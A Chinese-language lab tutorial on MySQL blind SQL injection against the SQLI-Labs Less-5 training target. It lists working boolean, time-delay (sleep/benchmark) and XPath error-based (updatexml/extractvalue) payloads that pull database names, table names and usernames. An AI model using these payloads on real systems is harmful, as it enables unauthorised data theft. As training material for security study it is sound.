【less-5】基于SQLI的SQL盲注常用函数
实验声明:本实验教程仅供研究学习使用,请勿用于非法用途,违者一律自行承担所有风险!
- 实验目的
- 实验环境
- 实验原理
- 实验步骤
- 第一步 登录SQLI-Labs平台
- 第二步 登录Kali平台,启动Firefox浏览器访问SQLI-Labs的less-5
- 第三步 利用left(a,b)获取信息
- 第四步 利用length函数判断数据库长度、字母
- 第五步 利用substr或substring函数获取表信息
- 第六步 利用ord()和mid()等函数获取表中信息
- 第七步 利用延时函数sleep()或benchmark()获取信息
- 第八步 利用Xpath函数报错注入
- 思考与总结
实验目的
通过本实验理解MySQL盲注常用函数的功能,掌握MySQL盲注常用函数在SQL注入中的应用方法,熟悉SQL注入的常见流程。
实验环境
渗透平台:Kali
目标网站:SQLI平台中的Less-5
实验原理
先来分析一下Less-5源码中GET提交不同参数时的反应
(1)如果正确
(2)如果错误
(3)如果提交?id=1’时浏览器前端的反应
可以看到,如果运行返回结果正确的时候只返回you are in…,不会返回数据库当中的信息了,此时可以采用逻辑判断是否正确的盲注来获取信息。
实验步骤
第一步 登录SQLI-Labs平台
第二步 登录Kali平台,启动Firefox浏览器访问SQLI-Labs的less-5
在浏览器地址栏中输入http://【靶机IP】/Less-5/,访问SQLI-Labs的less-5。
说明:本实验Kali平台的Firefox浏览器中已预安装Hackbar插件,可使用快捷键F12启用。后续的实验步骤中,可以选择在Hackbar中来执行,或者直接在浏览器的地址栏中执行。
第三步 利用left(a,b)获取信息
LEFT()函数是一个字符串函数,它返回具有指定长度的字符串的左边部分。
LEFT(str,length);如果str或length参数为NULL,则返回NULL值。
str是要提取子字符串的字符串;
length是一个正整数,指定将从左边返回的字符数。
代码示例:
如果length为0或为负,则LEFT函数返回一个空字符串
如果length大于str字符串的长度,则LEFT函数返回整个str字符串
利用left(database(),1)进行尝试
http://【靶机IP】/Less-5?id=1’ and left(version(),1)=5–+
查看一下version(),数据库的版本号为5.3,这里的这句话的意思是看看版本号的第一位是否是5,很明显返回的结果是正确的。
第四步 利用length函数判断数据库长度、字母
length功能介绍:
返回字符串str的长度,以字节为单位。一个多字节字符算作多字节。
在mysql内置函数里面查看字符串长度的还有一个函数是char_length,两个函数的区别是:
length: 一个汉字算三个字符,一个数字或字母算一个字符。
char_length:不管汉字还是数字或者是字母都算是一个字符。
这意味着,对于包含五个两字节字符的字符串,LENGTH()返回10,而CHAR_LENGTH()返回5。
https://sqli.wmcoder.site/sqli-labs/Less-5?id=1' and length(database())=8--+
判断错误时的表现
判断正确,确定数据库长度是8
判断正确,确定数据库名的第一个字符是s
https://sqli.wmcoder.site/sqli-labs/Less-5?id=1' and left(database(),1)='s'--+
https://sqli.wmcoder.site/sqli-labs/Less-5?id=1' and left(database(),1)='r'--+
第二位为e:
https://sqli.wmcoder.site/sqli-labs/Less-5?id=1' and left(database(),2)='se'--+
数据库名为security,8位,首位为s。
可以使用这种方法,依次猜解数据库名的各个字符是什么。
第五步 利用substr或substring函数获取表信息
(1)SUBSTR(str,pos):表示从pos开始的位置,一直截取到最后。
SUBSTR(str,pos,len):表示从pos开始的位置,截取len个字符(空格也算字符)。
(2)另外一个函数ascii()功能如下:
根据获取的数据库的名称为security,那么继续猜测security数据库下面的表信息:
测试语句
ascii(substr((select table_name from information_schema.tables where tables_schema=database() limit 0,1),1,1))>100--+
判断正确
ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101--+
判断错误
推测该数据库的第一个表的第一个字符为“e”,对应ASCII码为101
按照这种方法,依次来猜测数据库的第一个表名所对应各个字符的ASCII值是多少
ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>101--+
ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))>101--+
第一个表为emails,首字母为e,e的ASCII码为101,故与101比较
第六步 利用ord()和mid()等函数获取表中信息
(1)函数ord():返回字符串str的最左面字符的ASCII代码值。
(2)函数mid()
MID()函数用于得到一个字符串的一部分。
这个函数被MySQL支持,但不被MS SQL Server和Oracle支持。在SQL Server、Oracle 数据库中,我们可以使用SQL SUBSTRING函数或者SQL SUBSTR函数作为替代。
(3)函数cast()和convert()
MySQL的CAST()和CONVERT()函数可用来获取一个类型的值,并产生另一个类型的值。
可以转换的类型是有限制的。这个类型可以是以下值其中的一个:
代码示例:
(4)函数ifnull()
形式是IFNULL(A,B),意义是当字段A是NULL时取B,不是NULL时取A的值。
id=1' and ord(mid((select IFNULL(cast(username as char),0x20) from security.users order by id limit 0,1),1,1))=68--+
D的ASCII码为68,故首先与68比较
获取user表中username中第一行的第一个字符的ascii,之后再将该ascii与我们所猜测字符对应的ascii值进行对比,从而即可得出这一个表中该字段的第一个字符。(如果查询出的结果是空值,应当转换成空字符串)
https://sqli.wmcoder.site/sqli-labs/Less-5?id=1' and ord(mid((select IFNULL(cast(username as char),0x20) from security.users order by id limit 0,1),1,1))=68--+
第七步 利用延时函数sleep()或benchmark()获取信息
(1)利用sleep()函数注入
id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
当错误的时候会有5秒的时间延迟。
(2)利用benchmark()函数注入
id=1' UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+
当结果正确的时候,运行encode(‘MSG’,‘by 5 second’)操作50000000次,会占用一定的时间。
第八步 利用Xpath函数报错注入
(1)updatexml()函数
作用:改变文档中符合条件的节点的值。
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称;
第二个参数:XPath_string (Xpath格式的字符串) ;
第三个参数:new_value,String格式,替换查找到的符合条件的数据。
(2)CONCAT(str1,str2,…)函数
作用:返回结果为连接参数产生的字符串。如有任何一个参数为NULL,则返回值为NULL。
通过查询@@version,返回版本号,然后CONCAT将其字符串化。因为UPDATEXML第二个参数需要Xpath格式的字符串,所以不符合要求,然后报错。
渗透语句
id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+
(3)extractvalue()函数
extractvalue():对XML文档进行查询的函数,其实就是相当于HTML文件中用
标签查找元素。
语法:extractvalue(目标xml文档,xml路径)
第二个参数“xml路径”是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果写入其他格式,就会报错,并且会返回写入的非法格式内容,而这个非法的内容就是想要查询的内容。
渗透语句
id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+
思考与总结
通过本次实验,成功实现了利用各种函数功能结合SQL注入漏洞来获取MySQL数据库中的信息。
【less-5】基于SQLI的SQL盲注常用函数相关推荐
- mysql 时间盲注语句,sql注入学习记录(5)-基于时间延迟的SQL盲注
上次说到了sql注入中的基于报错盲注的基本的方法. 今天说一说报错盲注 基于时间延时的SQL盲注 使用时间延时注入的场景: 1.不能使用union select 联合查询方式注入 2.有些网站没有回显 ...
- 【Less-9】基于SQLI的SQL时间盲注
实验声明:本实验教程仅供研究学习使用,请勿用于非法用途,违者一律自行承担所有风险! [实验目的] [实验环境] [实验原理] [实验步骤] 第一步 登录SQLI-Labs平台 第二步 登录Kali平台 ...
- python脚本自动化盲注_三、基于报错型注入和sql盲注的自动化实现
通过前面payload的构造,不难发现,对于报错型注入和布尔注入(sql盲注)纯手工注入的效率是非常慢的.这些payload语句虽然复杂,但大部分内容都是相同的,因此,一言不合就写了个脚本自动化注入, ...
- sql注入攻击与防御第二版读书笔记二——SQL盲注利用
寻找并确认SQL盲注 强制产生通用错误 注入带副作用的查询 如 mssql waitfor delay '0:0:5' mysql sleep() 拆分与平衡 5 -> 7-2 常见SQL盲注场 ...
- SQL注入:5、SQL盲注
5.SQL盲注 SQL注入与SQL盲注的区别 逻辑判断注入漏洞是否存在 SQL盲注之无权读取information_schema库和拒绝union.orderby语句 一次SQL盲注: SQL注入与S ...
- 一道题讲懂SQL盲注 / [第一章 web入门]SQL注入-2
概述 项目地址 本题是一个盲注题,可以基于布尔也可以基于时间,如果不会的话可以根据提示在网址后面加一个?tips=1降低难度成为一个基于报错的盲注. 本题所有脚本均用傻逼爆破,没有用二分法,有兴趣的大 ...
- DVWA靶场-sql盲注
第八关:SQL Injection(Blind) 盲注 SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻 ...
- Dvwa之SQL盲注全级别学习笔记
SQL盲注 盲注是SQL注入的一种,相比于常规的SQL注入,盲注一般不会返回数据库的数据信息或者语句提示.只会返回管理员设定的特定信息. SQL盲注-测试流程 同样的,和之前DVWA的普通SQL In ...
- SQL渗透与防御——(三)SQL盲注
第三章 SQL盲注 1.Boolean-Base布尔型注入 布尔盲注 只返回布尔值的sql注入漏洞,通过构造语句,来判断数据库信息的正确性,再通过页面反回的布尔值,来判断正确与否. 布尔盲注方法 ' ...
最新文章
- python selenium脚本_怎样开始写第一个基于python的selenium脚本
- Linux查看磁盘目录内存空间使用情况
- AI基础:深度学习论文阅读路线(127篇经典论文下载)
- buildroot的使用简介【转】
- python udp客户端 服务器实现方式_python3实现UDP协议的简单服务器和客户端
- flo file_Flo菜单简介:可扩展的拇指友好型移动导航
- Oracle笔记 三、function 、select
- AcWing 1047. 糖果
- ssh自动输入密码登录服务器/ssh免输入密码登录/非交互ssh 密码验证
- dmp文件查看表空间_innoDb文件
- ECCV 2020 论文大盘点-实例分割篇
- WORD如何对标题批量地应用样式?
- 自学前端两三个月,很迷茫,有大佬可以指导吗?
- vue add element报错_Vue 源码解析 -- new Vue -gt; mountComponent 001
- day 15 模块、起别名、from导入
- java synchronized互斥锁使用
- Oracle数据的导入导出
- 如何学会阅读源码,看这篇就够了!
- AD7124驱动代码(基于GD32F103 SPI)
- Win7免费升级Win10
热门文章
- 无法复制_desktop:访问被拒绝的解决方法
- android studio 安装apk失败,AndroidStudio安装apk时失败时提示INSTALL_PARSE_FAILED_NO_CERTIFICATES...
- GitHub的SSH免密连接
- 1090 Highest Price in Supply Chain (25 分)(模拟建树,找树的深度)牛客网过,pat没过...
- 在 Windows 上安装 TensorFlow(转载)
- 40.leetcode17_letter_combinations_of_a_phone_number
- 第三次小组实践作业小组每日进度汇报:2017-12-3
- python自动化之djangoform表单验证
- CSS3文字渐变效果
- org.apache.commons.dbutils.QueryRunner 执行sqlserver的存储过程